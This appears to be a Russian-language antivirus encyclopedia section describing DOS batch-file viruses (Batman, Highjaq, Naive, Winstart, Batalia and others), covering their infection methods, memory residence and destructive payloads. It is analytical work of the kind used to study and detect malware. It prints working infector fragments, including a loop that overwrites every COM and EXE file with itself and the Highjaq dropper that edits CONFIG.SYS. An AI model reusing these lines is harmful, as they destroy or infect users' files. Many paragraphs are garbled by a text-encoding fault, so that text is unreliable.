BAT (Batch) viruses
Bat.282
Batalia.493
[BATalia-5] (c) by Reminder
BatVir94.458
@echo offctty nulrem [BATVIR] '94 (c) Stormbringer [P/S]echo e0100 B4 4E BA 35 02 [...] 37 93 >>batvir.94echo e0114 B8 00 57 CD 21 [...] D2 CD >>batvir.94 [...]echo g >>batvir.94echo q >>batvir.94debug<batvir.94del batvir.94ctty con
Fret
@if '%_Fret102%==' goto _Fret102
Вирус уничтожает файлы *.EXE, выводит текст:
FtC/Fret102 Coded By: The Exorcist[DC]
Bat2Exec
FOR %%i IN (*.com) DO copy %0 %%i > nulFOR %%i IN (*.exe) DO copy %0 %%i > nul
Ртот BAT-файл затем был переведен РІ формат выполняемого файла РїСЂРё помощи утилиты BAT2EXEC, Р° затем запакован утилитой PRO-PACK.
Код вируса (в EXE-файле) содержит строки (видны после распаковки):
Compiled by BAT2EXEC 1.5PC Magazine 0 Douglas BolingDUMMY FCB DUMMY FCBCOMSPECnul *.com /C COPY %0 %nul *.exe /C COPY %0 %
BAT.ClsV
BAT.Combat
Рспользует "бинарный" СЃРїРѕСЃРѕР± - РєРѕРґ РІРёСЂСѓСЃР° исполняется Рё как batch-команды, Рё как COM-файл (СЃРј. РІРёСЂСѓСЃ "Batman" ). Рспользуя этот прием РІРёСЂСѓСЃ получает доступ Рє DOS-функциям (INT 21h). Для того чтобы запустить себя как COM-файл, РІРёСЂСѓСЃ копирует себя РІРѕ временный файл C:\COMBAT.COM Рё вызывает его.
Содержит строки:
* ComBat *Rajaat / GenesisComBat.TMP
BAT.HexVirus
Вирус содержит строку:
HexVirus!
BAT.Highjaq
Код вируса содержит две части. Первая часть является текстовыми строками, которые выполняются при запуске вируса как BAT-файла, вторая часть содержит двоичный код, выполняемый при запуске вируса как COM-файла или системного драйвера.
Текстовая часть вируса выглядит следующим образом (метки являются также командами передачи управления, если вирус запущен как двоичный выполняемый файл):
::pFqD@ctty nulcopy/b %0.bat+%0 c:\q.comdir \*.arj/s/b|c:\q.com/i:qlpjif errorlevel 1 goto qWpUren c:\q.com UMKQYGWK.5KAecho INSTALLHIGH=C:\UMKQYGWK.5KA>>c:\config.sys:qWpUfor %%a in (%0 %0.bat) do if exist %%a set q=%%adel c:\q.comctty con@del %q%
РџСЂРё запуске такого РєРѕРґР° РёР· BAT-файла РІРёСЂСѓСЃ копирует себя РІ файл C:\Q.COM (третья строка). Ртот файл является "дроппером" РІРёСЂСѓСЃР°, используемым для заражения РґСЂСѓРіРёС… файлов.
Затем вирус запускает команду DIR, которая ищет в каталогах текущего диска ARJ-архивы и передает их имена файлу Q.COM (4-я строка). Файл Q.COM заражает обнаруженные архивы, затем детектирует резидентную копию вируса и возвращает Errorlevel 1, если таковой код обнаружен. Если память не заражена (т.е. вирус не был запущен как системный драйвер), то вирус переименовывает файл Q.COM в UMKQYGWK.5KA и добавляет к файлу CONFIG.SYS строку:
INSTALLHIGH=C:\UMKQYGWK.5KA
В результате вирус добавляет себя к списку системных драйверов, и код вируса будет получать управление при загрузке DOS. Затем вирус уничтожает файл Q.COM и свой файл-носитель (BAT-файл, из которого был запущен вирус).
РџСЂРё запуске РІ РІРёРґРµ COM-файла (СЃРј. третью строку) РІРёСЂСѓСЃ получает РёРјСЏ ARJ-архива РёР· STDIN, проверяет архив Рё дописывает Рє архиву блок данных РІ формате ARJ. Ртот блок является неупакованным (метод "store") файлом /WINSTART.BAT, который содержит РєРѕРґ РІРёСЂСѓСЃР°.
При запуске в виде двоичного исполняемого файла текстовые строки выполняются как обычные команды ассемблера, и вирус передает управление на свой код несколькими командами JMP:
0100 3A 3A CMP BH,[BP+SI] ; text: ::pFqD0102 70 46 JO Jmp_a0104 71 44 JNO Jmp_a.... . . . . .0149 3A DB 3Ah ; text: :qlpj014A Jmp_a:014A 71 6C JNO Jmp_b014C 70 6A JO Jmp_b.... . . . . .01B7 3A DB 3Ah ; text: :qWpU01B8 Jmp_b:01B8 71 57 JNO Main_Code01BA 70 55 JO Main_Code.... . . . . .0211 Main_Code:.... . . . . .
Получив управление, двоичный код вируса определяет, был ли запущен вирус как COM-файл (в командной строке есть аргумент "/i") или как системный драйвер (аргументы отсутствуют). Если вирус запущен как системный драйвер, то он перехватывает INT 8, 21h и остается резидентно в памяти при помощи DOS-вызова Keep (INT 21h, AH=31h).
Если компьютер работает не под Windows 3.x, то обработчик INT 8 через некоторое время перезагружает компьютер. Обработчик INT 21h перехватывает два вызова. Первый является командой "AreYouHere?" (AX=FEFEh), по которой вирус определяет свою резидентную копию. Второй вызов является командой GetFileAttribute. Вирус блокирует этот вызов, если обращение идет к файлу с именем, начинающимся на "/W". Не очень понятно, зачем это нужно, видимо, вирус таким образом блокирует какие-то действия ARJ.EXE при распаковке файлов /WINSTART.BAT (дроппера вируса).
При запуске в виде двоичного файла без агрументов вирус также ставит у своего файла атрибуты Hidden и ReadOnly.
Вирус проверяет COM-порты и в некоторых случаях инициализирует порт модема и выводит туда строки:
ATL0M0A<cr>HIGHJAQ on COMx:38400,N,8,1<cr>
где COMx является номером порта модема. Затем вирус перехватывает INT 8 и запускает файл C:\COMMAND.COM с параметрами:
C:\ COM1 /E:1024/P/F
Перехватчик INT 8 в данном случае перезагружает компьютер, если обнаруживает, что бит Carrier Detect в соответствующем порте равен единице.
BAT.Hot2Trot
+---------------+ |@echo off | Команды перехода на код вируса+------|goto HotToTrot3||+---->|:To ||| |---------------| Команды зараженного BAT-файла|| |... ||| |... ||| |... ||| |---------------|||+----|goto Trot3 | Переход на конец файла (выход в DOS)||| |---------------|+----->|:HotToTrot3 | Основной код вируса || |... | || |... | +-----|goto To | Возврат управления программе-носителю +--->|Trot3: | Возврат в DOS +---------------+
При заражении файлов вирус использует DOS-функции (INT 21h). Для этого вирус создает и запускает два временных COM-файла: записывает на диск шестнадцатеричный код этих COM-файлов и конвертирует его в binary-код утилитой DEBUG. Если DEBUG отсутствует в PATH, вирус портит файлы.
Bat.Naive.4894
@rem NAIVE@if exist naive.* goto naive@if "%range_check%=="yes goto naive@echo>naive.com [ HEX data1 ]@naive.com@if not errorlevel 33 goto superwork@del>nul naive.com@goto naive:superwork@echo>naive.com [ HEX data2 ]@echo>naive.dat [ ASCII text ]@echo>>naive.dat [ ASCII text ]@echo>>naive.dat [ ASCII text ] [ повтор ... ]@echo>>naive.dat@naive.com<naive.dat >naive.exe@del>nul naive.com@del>nul naive.dat@naive.exe>nul@del>nul naive.exe@set range_check=yes:naive[ первоначальный BAT-файл ]
"HEX data1" содержит код вызова проверки своей TSR копии ("Ты здесь?"), "HEX data2" содержит декодер ASCII->BIN, "ASCII text" содержит код вируса, преобразованный в ASCII строки.
При запуске такого BAT-файла вирус проверяет ENVIRONMENT на наличие строки RANGE_CHECK и, если она равна YES, передает управление первоначальному файлу. В противном случае вирус создает файл NAIVE.COM, записывает туда код вызова "Ты здесь?", выполняет этот файл и проверяет код возврата (ERRORLEVEL).
Файл NAIVE.COM содержит только вызов INT 21h с AH=F6h. Если в памяти уже присутствует копия випуса, она возвращает 12345678 в регистрах CX:DX, и NAIVE.COM отдает управление BAT-файлу с кодом ERRORLEVEL=33. Если TSR копии нет, то NAIVE.COM возвращает ERRORLEVEL=32.
Р’РёСЂСѓСЃ (РІ BAT-файле) проверяет значение ERRORLEVEL Рё, если РѕРЅРѕ равно 32, удалает файл NAIVE.COM Рё передает управление первоначальному BAT-РєРѕРґСѓ. Рначе РІРёСЂСѓСЃ создает РґРІР° файла: NAIVE.DAT Рё NAIVE.COM (РїСЂРё этом уничтожается предыдущий файл NAIVE.COM). Р’ файл NAIVE.COM РІРёСЂСѓСЃ записывает декодер ASCII->BIN, РІ файл NAIVE.DAT - ASCII-строки. Затем РІРёСЂСѓСЃ выполняет команду
@naive.com<naive.dat >naive.exe
которая создает файл NAIVE.EXE, считывает ASCII данные из NAIVE.DAT, декодирует их в шестнадцатеричный код, записывает результат в NAIVE.EXE и затем запускает NAIVE.EXE на выполнение. NAIVE.EXE устанавливает резидентную копию вируса и возвращает управление BAT-файлу, который затем уничтожает NAIVE.EXE, определяет строку ENVIRONMENT "RANGE_CHECK=YES" и передает управление первоначальным командам BAT-файла.
При запуске код файла NAIVE.EXE вызывает ту же самую функцию "Ты здесь?" как описано выше. Если вируса нет в памяти, NAIVE.EXE проверяет свое "поколение" и в зависимости от его значения пытается вывести на экран текст, содержащий крик души индивидуума, наконец-то достигшего половой зрелости. Однако вирус содержит две ошибки, благодаря которым текст не выводится на экран: первая ошибка - вирус никогда не увеличивает свой счетчик, вторая - все сообщения перенаправлены в NUL командой
@naive.exe>nul
Затем вирус перехватывает INT 21h и остается резидентным при помощи INT 27h.
При вызовах DOS-функции ChangeDir (INT 21h, AH=3Bh) вирус ищет .BAT-файлы и записывается в их начало. При этом кодирует себя в ASCII и записывает результат в файл NAIVE.TMP, затем добавляет туда код оригинального BAT-файла и переименовывает результат.
BAT.PG94
Содержит строку:
Ha ha ha! Cybrphuc '94
Winstart
@ECHO OFF:s%r#COPY %0.BAT C:\Q.COM>NULC:\Q[ binary data ]
При запуске вируса (BAT-файла) он копирует себя в COM-файл (dropper) и запускает эго. Dropper при запуске копирует себя в HMA-память (High Memory Area), перехватывает INT 2Fh и создает файлы WINSTART.BAT на флоппи-дисках, куда себя и копирует. Очень похожий алгоритм использовался в вирусе Batman
Запуск BAT-файла
При запуске BAT-файла текст вируса выполняется как последовательность команд DOS:
команда и что она делает------- ----------------@ECHO OFF запрещает вывод на экран:s%r# метка, не выполняется в BAT-файлеCOPY %0.BAT C:\Q.COM>NUL копирует BAT-файл в C:\Q.COMC:\Q запускает C:\Q.COM
Дальше идет строчка двоичного РєРѕРґР°, которая начинается СЃ метки "конец файла" - байт 1Ah. РР·-Р·Р° этого байта DOS думает, что файл кончился, Рё строчка данных РЅРµ вызывает никаких побочных эффектов РїСЂРё работе BAT-файла.
Запуск COM-файла
Файл Q.COM является полной копией BAT-файла. Когда Q.COM получает управление, строчки BAT-файла выполняются как инструкции ассемблера. Выглядит это примерно следующим образом.
Сначала идут "пустышки":
INC AX ; '@'INC BP ; 'E'INC BX ; 'C'DEC AX ; 'H'DEC DI ; 'O'AND [BX+SI],AH ; ' '
Затем выполняется код, лежащий во второй строке BAT-файла (там, где метка):
JNC Install ; 's%'JC Install ; 'r#'
Рти команды передают управление РЅР° двоичний РєРѕРґ РІРёСЂСѓСЃР°, который заражает память.
Заражение памяти
РїСЂРѕРёСЃС…РѕРґРёС‚ довольно необычным СЃРїРѕСЃРѕР±РѕРј - РІРёСЂСѓСЃ записывает себя РІ HMA. Рспользуя функцию INT 2Fh AX=4A02h, РІРёСЂСѓСЃ выделяет себе 173 байта (Р° всего длина РІРёСЂСѓСЃР° - 297 байт), копирует туда СЃРІРѕР№ РєРѕРґ Рё перехватывает INT 2Fh. Адрес INT 2Fh берет РїСЂСЏРјРѕ РёР· DOS, РёР· РѕРґРЅРѕРіРѕ очень "хитрого" адреса (это работает РІ DOS 6.0+). Р’ тот Р¶Рµ адрес РІРёСЂСѓСЃ записывает указатель РЅР° СЃРІРѕР№ обработчик INT 2Fh. РџСЂРё этом РІРёСЂСѓСЃ внедряет СЃРІРѕСЋ процедуру обработки INT 2Fh РІ самую сердцевину DOS.
Затем вирус переименовывает C:\Q.COM в C:\WINSTART.BAT и уничтожает C:\Q.COM (это нужно сделать, так как если WINSTART.BAT уже присутствует, то команда Rename работать не будет, и файл Q.COM не будет удален при попытке переименования). Затем вирус ставит у C:\WINSTART.BAT атрибут read-only и возвращает управление DOS.
В результате в HMA сидит вирус, который перехватывает INT 2Fh, а на диске C: лежит файл WINSTART.BAT.
INT 2Fh
При запуске каждой новой копии COMMAND.COM (это происходит, например, при запуске программ из-под XTREE или NortonCommander) вызывается INT 2Fh с AX=AE00h (Internal Installation Check). Вирус ловит этот вызов и создает на текущем диске новый файл WINSTART.BAT. Делает он это при двух условиях:
1) текущий диск - A: или B:2) он на 50% или более заполнен всякими файлами (видимо, вирус хочетспрятать себя между другими файлами, дабы не быть слишком заметным прикоманде DIR)
Если все это так, то вирус создает на текущем диске (A: или B:) файл WINSTART.BAT куда сливает свою копию из C:\WINSTART.BAT.
Batalia1,Batalia2
Содержат строки:
"Batalia1": "BATalia v 1.0" Written by Int O`Dream at 04.11.95 (Original algoritm)"Batalia2": BATalia2
BAT.Batalia3,Batalia4
Вирусы состоят из двух частей. Первая часть (заголовок) содержит команды DOS:
"Batalia3": "Batalia4":
@echo off @echo offrem YYY rem BAT4arj x %0 -gРѕРѕbРµpСЃ >nul arj x %0 >nulren p Int call icall i del sgren Int a.bat del i.batecho on@call a@echo offdel i.batdel a.batdel BATalia3
Вторая часть является архивом ARJ, содержащим файл I.ARJ (основной код вируса) и дополнительные файлы:
"Batalia3": P, BATALIA3"Batalia4": SG
SG и BATALIA3 содержат вспомогательные данные вируса, файл P (в случае вируса "Batalia3") содержит код файла-носителя.
Таким образом, зараженный BAT-файл содержит текстовые строки (batch-команды) и двоичные данные (архив ARJ).
При запуске вирусы распаковывают файлы I.BAT и SR/BATALIA3 из архива и запускают I.BAT, который затем ищет BAT-файлы в текущем каталоге и заражает их.
"Batalia4" дописывает свой код (6 batch-команд и ARJ-архив) в конец файла. "Batalia3" пакует заражаемый файл, записывает его в архив и результат записывает вместо заражаемого файла, т.е. при заражении "Batalia3" может уменьшать размер файлов.
BAT.Batalia6
Зараженный файл состоит из двух частей. Первая часть (заголовок) содержит пять команд DOS (см. ниже). Вторая часть содержит BAT-файл со случайным именем, упакованный архиватором ARJ. Таким образом, вирус содержит строки текста (команды DOS) и данные (архив ARJ).
BAT-файл из ARJ-архива, в свою очередь, также содержит команды DOS и еще один ARJ-архив. Команды DOS этого BAT-файла являются основным кодом вируса, который вызывает процедуры поиска файлов, заражения и генерации полиморфик-кода. ARJ-архив содержит несколько файлов: файл-носитель, дополнительный код и данные вируса. В результате зараженный файл выглядит как архив в архиве:
+--------------------+|BAT-команды | - заголовок1, startup-код|--------------------|| ARJ-архив: | - содержит BAT-файл со случайным именем| +----------------+ || |BAT-команды | | - заголовок2, основной код вируса| |----------------| || | ARJ-архив: | | - содержит набор файлов:| | +------------+ | || | |BATALIA6.BAT| | | - процедуры поиска и заражения, полиморфик-генератор| | |hostfile.BAT| | | - файл-носитель| | |ZAGL | | | - данные вируса| | |RULZ | | | - данные вируса| | |FINAL.BAT | | | - процедура уничтожения временных файлов| | +------------+ | || +----------------+ |+--------------------+
Заголовок1 содержит пять команд, которые при заражении выбираются из нескольких вариантов и имеют различные длины, например:
@echo off @EcHo OfFrem arj e %0 %compec% -g5 rem COMMAND.COM nul /carj x %0 -g1C:\COMMAND.COM nul /carj x %0 -g2 %comspec% nul /c arj e HOST.BAT -g3:nul arj x %0 -g7 C:\COMMAND.COM :echo C:\COMMAND.COM nul /carj x %0w HOST.BAT i HOST.BAT
ARJ-архив зашифрован со случайным паролем, поэтому вирус практически не содержит постоянных байт и является первым известным полиморфик-BAT-вирусом.
При запуске вирус (заголовок1) запускает архиватор ARJ, распаковывает свою вторую часть (BAT-файл) и запускает его. Код второй части создает временный подкаталог, в который распаковывает файлы из второго архива, выполняет процедуры поиска и заражения файлов, затем запускает файл-носитель и уничтожает временные файлы и подкаталог.
Код вируса содержит только текстовые строки, среди которых присутствуют комментарии:
: Death Virii Crew & Stealth Group World Wide: P R E S E N T S: First Mutation Engine for BAT !: Without ASM !: [BATalia6] & FMEB (c) by Reminder
: // ## #: +-------- /// ------+ ### Magazine # for VirMakers: |+++-++- // // -+-+++| ### ################ # ################### # ########: |++ | | ///// | | ||| ## ### ### ### ### ### ### ### # # ### # ### ###: |++ - + ///// ++- ++| # # # ## ## # # ## # # # # # # # # #: +------ // // -------+ # # # # ### ### # ### ### ## ### # ### ####: GROUP // // WORLDWIDE # ################# ###############################:: Box 10, Kiev 252148: Box 15, Moscow 125080: Box 11, Lutsk 263020:: R E A D I N F E C T E D V O I C E:: (c) by Reminder (May 22, 1996)
Batman.186
@ECHO OFFREM <<< code: jmp installation, int_21 handler part 1 >>>copy %0 b.com>nulb.comdel b.comrem <<< code: TSR installation, int_21 handler part 2 >>>
Замечание: скобки <<< >>> означают, что здесь идут нетекстовые байты вируса.
Основной отличительной чертой вируса является то, что его тело выполняется в двух различных форматах: как batch-файл, если имя файла вируса имеет расширение .BAT, и как COM-файл, если расширение .COM.
При запуске вируса в BAT-формате он копирует себя в файл B.COM. Таким образом вирус создает копию зараженного BAT-файла, но с расширением COM. Затем вирус запускает этот файл и по окончании его работы удаляет его с диска. Двоичные коды вируса, выполняющиеся при запуске файла в COM-формате, закомментированы инструкцией REM и никак не влияют на работу BAT-файла.
Файл B.COM выполняется как обыкновенный COM-файл. При этом текстовые строки, идущие в начале файла,
@ECHO OFFREM
интерпретируются процессором как инструкции типа
INC registerDEC registerOR register, immediateAND register, register
Рти инструкции никак РЅРµ влияют РЅР° работу программы. После того как выполнены последние текстовые байты (инструкция REM РІРѕ второй строке BAT-файла), начинает работать РєРѕРґ РІРёСЂСѓСЃР°, отвечающий Р·Р° его активизацию. Алгоритм инсталляции РІРёСЂСѓСЃР° РІ память довольно примитивен, РѕРЅ содержит всего 10 команд. Р’РёСЂСѓСЃ перехватывает INT 21h Рё остается резидентным РїСЂРё помощи стандартного прерывания DOS INT 27h. Р’РёСЂСѓСЃ РЅРµ проверяет СЃРІРѕРµ наличие РІ памяти Рё остается резидентным столько раз, сколько запускаются пораженные BAT-файлы.
Вирус обрабатывает только одну функцию DOS - WriteHandle (INT 21h, AH=40H). Он проверяет начало записываемого на диск буфера на наличие строки '@echo' и, если она присутствует, записывает сначала свое тело, а затем сохраняемый буфер. Таким образом многие BAT-файлы оказываются пораженными при их создании, копировании или модификации.
Поскольку в памяти может присутствовать несколько копий вируса, то все они запишут себя в поражаемый файл.
BAT.DebugVir
(hehe) Debug Batch Virus and here's your host...
BAT.Gray
Gray Lord represent this new batch file virus!
BAT.Mtr
После шести запусков стирает COMMAND.COM и все файлы в каталогах: C:\DOS, C:\NC, C:\MOUSE, C:\RUS.
Содержит текст:
"Mind TRaining" by Dr.MORGAN
BAT.PolyBat
Рспользует полиморфик-метод, РїРѕС…РѕР¶РёР№ РЅР° РІРёСЂСѓСЃ "Batalia6" - пакует себя PKZIP'РѕРј СЃ паролем, Р° РІ команды вызова распаковщика PKUNZIP добавляет "пустые" строки.
Выводит текст:
(: PolyBat Morpher :)
При заражении использует внешние команды DOS и утилиты: PKZIP, PKUNZIP, ATTRIB, FIND, поэтому не заражает файлы, если эти программы отсутствуют в PATH.
BAT.Shadow
ShadowBat 1997
BAT.Zeke
BAT.Zeke.324
BAT.Zeke.ZIP
BAT.Sys
При загрузке с дискеты вирус ищет файл C:\WINDOWS\COMMAND\SYS.COM, переименовывает его в SYS.OLD, устанавливает у него атрибут Hidden и копирует себя в тот же каталог под именем SYS.BAT.
В результате при вызове команды SYS управление получает код вируса, который затем временно переименовывает файл SYS.OLD в SYS.COM, запускает его и копирует себя на диск под именем AUTOEXEC.BAT.